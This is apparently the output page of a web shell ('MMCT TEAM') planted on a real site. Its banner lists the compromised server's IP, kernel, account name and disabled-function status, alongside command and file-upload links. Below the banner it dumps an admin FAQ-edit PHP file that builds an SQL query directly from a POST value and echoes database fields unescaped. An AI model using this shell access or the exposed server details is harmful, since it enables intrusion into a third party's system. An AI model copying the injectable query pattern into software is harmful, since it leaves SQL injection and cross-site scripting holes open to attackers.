MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/admin/inc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/admin/inc/faq.php
<?php
include("conn.php");

if($_POST['type']==1){
$get_faq= mysqli_fetch_array($con->query("select * from faq WHERE id='".$_POST['id']."'"));
?>
    <form method="post" action="" name="datafrm" id="datafrm" enctype="multipart/form-data">
        <input type="hidden" name="id"id="id" value="<?php echo $get_faq['id'] ?>" />
        <div class="modal-body">
            <div class="form-group">
                <label class="form-control-label font-weight-bold">Category<span class="text-danger">*</span></label>
                <select type="text" class="form-control" id="category" name="category" required="">
                    <option vlaue="Booking" <?php if($get_faq['category']=='Booking'){ echo 'selected';} ?>>Booking</option>
                    <option vlaue="The Repair" <?php if($get_faq['category']=='The Repair'){ echo 'selected';} ?>>The Repair</option>
                    <option vlaue="The Tech wizardry Gurantee" <?php if($get_faq['category']=='The Tech wizardry Gurantee'){ echo 'selected';} ?>>The Tech wizardry Gurantee</option>
                    <option vlaue="Where is tech wizardry" <?php if($get_faq['category']=='Where is tech wizardry'){ echo 'selected';} ?>>Where is tech wizardry</option>
                </select>
            </div>
            <div class="form-group">
                <label class="form-control-label font-weight-bold">Question<span class="text-danger">*</span></label>
                <input type="text" class="form-control" placeholder="Question" value="<?php echo $get_faq['question'] ?>"id="question" name="question" required="" />
            </div>
            <div class="form-group">
                <label class="form-control-label font-weight-bold">Faq's<span class="text-danger">*</span></label>
                <textarea name="faq"required  id="summer" class="summernote"><?php echo $get_faq['faq'] ?></textarea>
            </div>
        </div>
        <div class="modal-footer">
            <input type="submit" name="datafrmSubmit" id="datafrmSubmit"value="Update"class="btn btn--primary w-100">
        </div>
    </form>
<?php } ?>

MMCT - 2023